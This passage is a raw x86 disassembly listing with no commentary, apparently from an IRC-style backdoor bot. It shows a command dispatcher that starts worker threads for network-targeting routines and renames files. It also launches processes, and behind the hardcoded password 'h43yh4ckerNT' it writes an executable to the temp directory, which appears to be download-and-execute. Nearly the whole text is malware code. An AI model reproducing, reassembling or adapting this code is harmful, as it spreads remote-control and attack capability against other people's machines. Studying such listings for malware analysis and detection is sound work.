		mov	[ebp+var_4DC], eax
		call	sub_41BF49
		push	[ebp+arg_0]
		mov	[ebp+var_4EC], eax
		call	sub_41BF49
		push	[ebp+arg_18]
		mov	[ebp+var_4E8], eax
		call	sub_41BF49
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_56C]
		mov	[ebp+var_570], esi
		push	eax
		call	sub_41BDC0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D4], edi
		push	[ebp+var_4E8]
		mov	[ebp+var_4D0], eax
		push	[ebp+var_4EC]
		push	[ebp+var_4E4]
		push	[ebp+var_4DC]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BC10
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40AF8D
		add	esp, 24h
		mov	[ebp+var_4E0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_570]
		push	ebx
		push	eax
		push	offset sub_40C5D3
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_4E0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_40781B
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BBD0
		jmp	loc_403E6C
; ---------------------------------------------------------------------------


loc_407813:				; CODE XREF: sub_401B66+5CBBj
		push	32h
		call	dword_428064	; Sleep


loc_40781B:				; CODE XREF: sub_401B66+5C9Aj
		cmp	[ebp+var_4CC], ebx
		jz	short loc_407813
		jmp	loc_403E7B
; ---------------------------------------------------------------------------


loc_407828:				; CODE XREF: sub_401B66+4E51j
					; sub_401B66+4E68j
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		cmp	byte_440BB0[eax], bl
		jz	loc_40976F
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	edi
		call	sub_41B7B0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41B7B0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B7B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C0D0
		mov	esi, eax
		lea	eax, [ebp+var_2C0]
		push	esi
		push	offset dword_42BBC4
		push	eax
		call	sub_41C056
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jle	loc_40976F
		push	[ebp+arg_10]
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_40976F
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	sub_409982
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_440998[eax], 73h
		jnz	loc_40976F
		push	esi
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440BB0
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_407918:				; CODE XREF: sub_401B66+5EB4j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_407942:				; CODE XREF: sub_401B66+4E23j
					; sub_401B66+4E3Aj
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		cmp	byte_440BB0[eax], bl
		jz	loc_40976F
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	edi
		call	sub_41B7B0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41B7B0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B7B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C0D0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jle	loc_40976F
		push	[ebp+arg_10]
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_40976F
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	sub_409982
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_440998[eax], 73h
		jnz	loc_40976F
		push	esi
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440BB0
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_407918
; ---------------------------------------------------------------------------


loc_407A1F:				; CODE XREF: sub_401B66+4DF5j
					; sub_401B66+4E0Cj
		push	[ebp+arg_10]
		call	dword_4CDCA4	; inet_addr
		push	edi
		mov	[ebp+var_67C], eax
		call	sub_41BF49
		push	[ebp+arg_0]
		mov	[ebp+var_68C], eax
		call	sub_41BF49
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_70C]
		mov	[ebp+var_710], esi
		push	eax
		call	sub_41BDC0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_674], edi
		push	[ebp+var_684]
		mov	[ebp+var_670], eax
		push	[ebp+var_68C]
		push	[ebp+var_67C]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BB68
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_680], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C4E2
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_680]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_407B04
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC60
		jmp	loc_403E6C
; ---------------------------------------------------------------------------


loc_407AFC:				; CODE XREF: sub_401B66+5FA4j
		push	32h
		call	dword_428064	; Sleep


loc_407B04:				; CODE XREF: sub_401B66+5F83j
		cmp	[ebp+var_66C], ebx
		jz	short loc_407AFC
		jmp	loc_403E7B
; ---------------------------------------------------------------------------


loc_407B11:				; CODE XREF: sub_401B66+4DC7j
					; sub_401B66+4DDEj
		push	[ebp+arg_10]
		call	sub_41BF49
		mov	[ebp+var_1128],	eax
		push	7Fh
		lea	eax, [ebp+var_122C]
		push	edi
		push	eax
		call	sub_41BDC0
		push	[ebp+arg_0]
		call	sub_41BF49
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_11AC]
		push	80h
		push	eax
		mov	[ebp+var_1234],	esi
		call	sub_41C150
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1118],	eax
		push	[ebp+var_112C]
		lea	eax, [ebp+var_122C]
		mov	[ebp+var_111C],	edi
		push	eax
		push	[ebp+var_1128]
		push	esi
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BB2C
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	18h
		push	eax
		call	sub_40AF8D
		add	esp, 24h
		mov	[ebp+var_1124],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1234]
		push	ebx
		push	eax
		push	offset sub_410A44
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_1124]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_407BFD
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BAE8
		jmp	loc_403E6C
; ---------------------------------------------------------------------------


loc_407BF5:				; CODE XREF: sub_401B66+609Dj
		push	32h
		call	dword_428064	; Sleep


loc_407BFD:				; CODE XREF: sub_401B66+607Cj
		cmp	[ebp+var_1114],	ebx
		jz	short loc_407BF5
		jmp	loc_403E7B
; ---------------------------------------------------------------------------


loc_407C0A:				; CODE XREF: sub_401B66+4D99j
					; sub_401B66+4DB0j
		push	0FFh
		lea	eax, [ebp+var_25CC]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	0FFh
		lea	eax, [ebp+var_24CC]
		push	edi
		push	eax
		call	sub_41BDC0
		push	[ebp+arg_0]
		mov	[ebp+var_23C8],	ebx
		call	sub_41BF49
		mov	[ebp+var_23C4],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407C63
		push	10h
		push	ebx
		push	eax
		call	sub_41C595
		add	esp, 0Ch
		mov	[ebp+var_23BC],	eax
		jmp	short loc_407C69
; ---------------------------------------------------------------------------


loc_407C63:				; CODE XREF: sub_401B66+60E7j
		mov	[ebp+var_23BC],	ebx


loc_407C69:				; CODE XREF: sub_401B66+60FBj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407C80
		push	esi
		call	sub_41BF49
		pop	ecx
		mov	[ebp+var_23C0],	eax
		jmp	short loc_407C86
; ---------------------------------------------------------------------------


loc_407C80:				; CODE XREF: sub_401B66+6109j
		mov	[ebp+var_23C0],	ebx


loc_407C86:				; CODE XREF: sub_401B66+6118j
		movzx	eax, [ebp+var_8F7]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_264C]
		mov	[ebp+var_2650],	esi
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_23B0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B4],	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BABC
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Dh
		push	eax
		call	sub_40AF8D
		add	esp, 28h
		mov	[ebp+var_23CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2650]
		push	ebx
		push	eax
		push	offset sub_416975
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_23CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_407D37
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BA7C
		jmp	loc_407FF0
; ---------------------------------------------------------------------------


loc_407D2F:				; CODE XREF: sub_401B66+61D7j
		push	32h
		call	dword_428064	; Sleep


loc_407D37:				; CODE XREF: sub_401B66+61B6j
		cmp	[ebp+var_23AC],	ebx
		jz	short loc_407D2F
		jmp	loc_407FFF
; ---------------------------------------------------------------------------


loc_407D44:				; CODE XREF: sub_401B66+4D6Bj
					; sub_401B66+4D82j
		push	7Fh
		lea	eax, [ebp+var_36A0]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_3620]
		push	edi
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_35A0]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_3520]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_349C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_3498],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_36A4],	esi
		push	offset unk_42BA40
		push	eax
		call	sub_41C056
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	12h
		push	eax
		call	sub_40AF8D
		add	esp, 0Ch
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A4]
		push	ebx
		push	eax
		push	offset sub_4150A6
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_34A0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_407E1E
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BA08
		jmp	loc_407FF0
; ---------------------------------------------------------------------------


loc_407E16:				; CODE XREF: sub_401B66+62BEj
		push	32h
		call	dword_428064	; Sleep


loc_407E1E:				; CODE XREF: sub_401B66+629Dj
		cmp	[ebp+var_3494],	ebx
		jz	short loc_407E16
		jmp	loc_407FFF
; ---------------------------------------------------------------------------


loc_407E2B:				; CODE XREF: sub_401B66+4C3Fj
					; sub_401B66+4C56j
		push	7Fh
		lea	eax, [ebp+var_3278]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_31F8]
		push	edi
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_3178]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_30F8]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_3070],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_327C],	esi
		push	offset unk_42B9D8
		push	eax
		call	sub_41C056
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40AF8D
		add	esp, 0Ch
		mov	[ebp+var_3078],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_327C]
		push	ebx
		push	eax
		push	offset sub_413DEC
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_3078]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_407F05
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B9A0
		jmp	loc_407FF0
; ---------------------------------------------------------------------------


loc_407EFD:				; CODE XREF: sub_401B66+63A5j
		push	32h
		call	dword_428064	; Sleep


loc_407F05:				; CODE XREF: sub_401B66+6384j
		cmp	[ebp+var_306C],	ebx
		jz	short loc_407EFD
		jmp	loc_407FFF
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_401B66+4B17j
					; sub_401B66+4B2Ej ...
		push	7Fh
		lea	eax, [ebp+var_3F7C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_3EFC]
		push	edi
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_3E7C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_3DFC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		push	20h
		lea	eax, [ebp+var_3D7C]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BDC0
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_3F84],	esi
		push	offset unk_42B970
		push	eax
		call	sub_41C056
		add	esp, 50h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40AF8D
		add	esp, 0Ch
		mov	[ebp+var_3F80],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F84]
		push	ebx
		push	eax
		push	offset sub_413081
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_3F80]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_408019
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B938


loc_407FF0:				; CODE XREF: sub_401B66+4D40j
					; sub_401B66+56D0j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_407FFF:				; CODE XREF: sub_401B66+4D55j
					; sub_401B66+56E5j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402418
		push	ebx
		push	[ebp+var_4]
		jmp	loc_403E86
; ---------------------------------------------------------------------------


loc_408011:				; CODE XREF: sub_401B66+64B9j
		push	32h
		call	dword_428064	; Sleep


loc_408019:				; CODE XREF: sub_401B66+647Cj
		cmp	[ebp+var_3CF4],	ebx
		jz	short loc_408011
		jmp	short loc_407FFF
; ---------------------------------------------------------------------------


loc_408023:				; CODE XREF: sub_401B66+4AE9j
					; sub_401B66+4B00j
		push	7Fh
		lea	eax, [ebp+var_1774]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	edi
		call	sub_41BF49
		push	3Fh
		mov	[ebp+var_1624],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F4]
		push	eax
		call	sub_41BDC0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40806E
		push	3Fh
		lea	eax, [ebp+var_16B4]
		push	esi
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_40806E:				; CODE XREF: sub_401B66+64F4j
		lea	eax, [ebp+var_16F4]
		mov	[ebp+var_1620],	1
		push	eax
		lea	eax, [ebp+var_1774]
		push	[ebp+var_1624]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B908
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Fh
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_161C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1778]
		push	ebx
		push	eax
		push	offset sub_401891
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_161C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4080FD
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B8CC
		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_4080F5:				; CODE XREF: sub_401B66+659Dj
		push	32h
		call	dword_428064	; Sleep


loc_4080FD:				; CODE XREF: sub_401B66+657Cj
		cmp	[ebp+var_1618],	ebx
		jz	short loc_4080F5
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_40810A:				; CODE XREF: sub_401B66+4AA9j
					; sub_401B66+4AC0j
		push	edi
		call	sub_41BF49
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D60],	eax
		jle	loc_4081FA
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EE8]
		push	esi
		push	eax
		call	sub_41C150
		xor	eax, eax
		cmp	[ebp+var_8EA], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EEC],	eax
		lea	eax, [ebp+var_1DE8]
		push	esi
		push	eax
		call	sub_41C150
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_1D58],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1D54],	eax
		push	offset unk_42B8A0
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41C150
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	15h
		push	eax
		call	sub_40AF8D
		add	esp, 38h
		mov	[ebp+var_1D68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EEC]
		push	ebx
		push	eax
		push	offset sub_4134C5
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_1D68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4081ED
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B868
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_4081E5:				; CODE XREF: sub_401B66+668Dj
		push	32h
		call	dword_428064	; Sleep


loc_4081ED:				; CODE XREF: sub_401B66+666Cj
		cmp	[ebp+var_1D50],	ebx
		jz	short loc_4081E5
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_4081FA:				; CODE XREF: sub_401B66+65B3j
		push	offset unk_42B830
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_408204:				; CODE XREF: sub_401B66+4A7Bj
					; sub_401B66+4A92j
		push	edi
		push	[ebp+arg_10]
		call	dword_4280B4	; MoveFileA
		test	eax, eax
		jz	short loc_408231
		push	edi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	offset unk_42B80C
		push	200h
		push	eax
		call	sub_41C150
		jmp	loc_4040D4
; ---------------------------------------------------------------------------


loc_408231:				; CODE XREF: sub_401B66+66AAj
		push	offset dword_42B800
		call	sub_418827
		push	eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 10h
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_408255:				; CODE XREF: sub_401B66+4A4Dj
					; sub_401B66+4A64j
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3C6C]
		push	104h
		push	eax
		call	sub_41C150
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_40828F
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40828F
		push	eax
		lea	eax, [ebp+var_3B68]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_40828F:				; CODE XREF: sub_401B66+6709j
					; sub_401B66+6718j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3CEC]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3CF0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3A60],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A5C],	eax
		lea	eax, [ebp+var_3B68]
		push	eax
		lea	eax, [ebp+var_3C6C]
		push	eax
		push	offset unk_42B7D0
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41C150
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	24h
		push	eax
		call	sub_40AF8D
		add	esp, 2Ch
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset sub_41720A
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_3A64]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_408354
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B794


loc_408338:				; CODE XREF: sub_401B66+9B3j
					; sub_401B66+9D9j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_40834C:				; CODE XREF: sub_401B66+67F4j
		push	32h
		call	dword_428064	; Sleep


loc_408354:				; CODE XREF: sub_401B66+67C4j
		cmp	[ebp+var_3A58],	ebx
		jz	short loc_40834C
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_408361:				; CODE XREF: sub_401B66+4A1Fj
					; sub_401B66+4A36j
		push	44h
		lea	eax, [ebp+var_664]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BD60
		push	[ebp+arg_10]
		mov	[ebp+var_664], esi
		xor	esi, esi
		mov	[ebp+var_634], bx
		inc	esi
		mov	[ebp+var_638], esi
		call	sub_41BF49
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4083A0
		mov	[ebp+var_634], 5


loc_4083A0:				; CODE XREF: sub_401B66+682Fj
		cmp	[ebp+var_C], ebx
		jz	loc_406C9B
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406C9B
		lea	eax, [ebp+var_DAC]
		push	eax
		lea	eax, [ebp+var_664]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_428070	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_4083EF
		push	offset unk_42B770
		jmp	loc_406221
; ---------------------------------------------------------------------------


loc_4083EF:				; CODE XREF: sub_401B66+687Dj
		push	edi
		push	offset dword_42B754
		jmp	loc_406C92
; ---------------------------------------------------------------------------


loc_4083FA:				; CODE XREF: sub_401B66+49F1j
					; sub_401B66+4A08j
		push	edi
		push	offset aH43yh4ckernt ; "h43yh4ckerNT"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40856C
		lea	eax, [ebp+var_48EC]
		push	eax
		push	104h
		call	dword_4280B0	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_2874]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_1794]
		push	eax
		call	sub_40AC87
		push	eax
		lea	eax, [ebp+var_48EC]
		push	eax
		lea	eax, [ebp+var_2774]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C056
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_2670],	1
		mov	[ebp+var_266C],	ebx
		jz	short loc_40848C
		push	10h
		push	ebx
		push	eax
		call	sub_41C595
		add	esp, 0Ch
		mov	[ebp+var_2664],	eax
		jmp	short loc_408492
; ---------------------------------------------------------------------------


loc_40848C:				; CODE XREF: sub_401B66+6910j
		mov	[ebp+var_2664],	ebx


loc_408492:				; CODE XREF: sub_401B66+6924j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_4084A9
		push	esi
		call	sub_41BF49
		pop	ecx
		mov	[ebp+var_2668],	eax
		jmp	short loc_4084AF
; ---------------------------------------------------------------------------


loc_4084A9:				; CODE XREF: sub_401B66+6932j
		mov	[ebp+var_2668],	ebx


loc_4084AF:				; CODE XREF: sub_401B66+6941j
		movzx	eax, [ebp+var_8F7]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2660],	eax
		lea	eax, [ebp+var_28F4]
		mov	[ebp+var_28F8],	esi
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_2658],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_265C],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B71C
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Eh
		push	eax
		call	sub_40AF8D
		add	esp, 24h
		mov	[ebp+var_2674],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28F8]
		push	ebx
		push	eax
		push	offset sub_416975
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_2674]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_40855F
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B6E0
		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_408557:				; CODE XREF: sub_401B66+69FFj
		push	32h
		call	dword_428064	; Sleep


loc_40855F:				; CODE XREF: sub_401B66+69DEj
		cmp	[ebp+var_2654],	ebx
		jz	short loc_408557
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_40856C:				; CODE XREF: sub_401B66+68A3j
		push	offset dword_42B698
		jmp	loc_40621B
; ---------------------------------------------------------------------------


loc_408576:				; CODE XREF: sub_401B66+49C3j
					; sub_401B66+49DAj
		push	[ebp+var_8C]
		push	offset dword_42DFCC
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F9E
		cmp	[ebp+var_C], ebx
		jz	loc_401F9E
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42B684
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BDC0
		push	[ebp+arg_10]
		call	sub_41BF49
		add	esp, 30h
		test	eax, eax
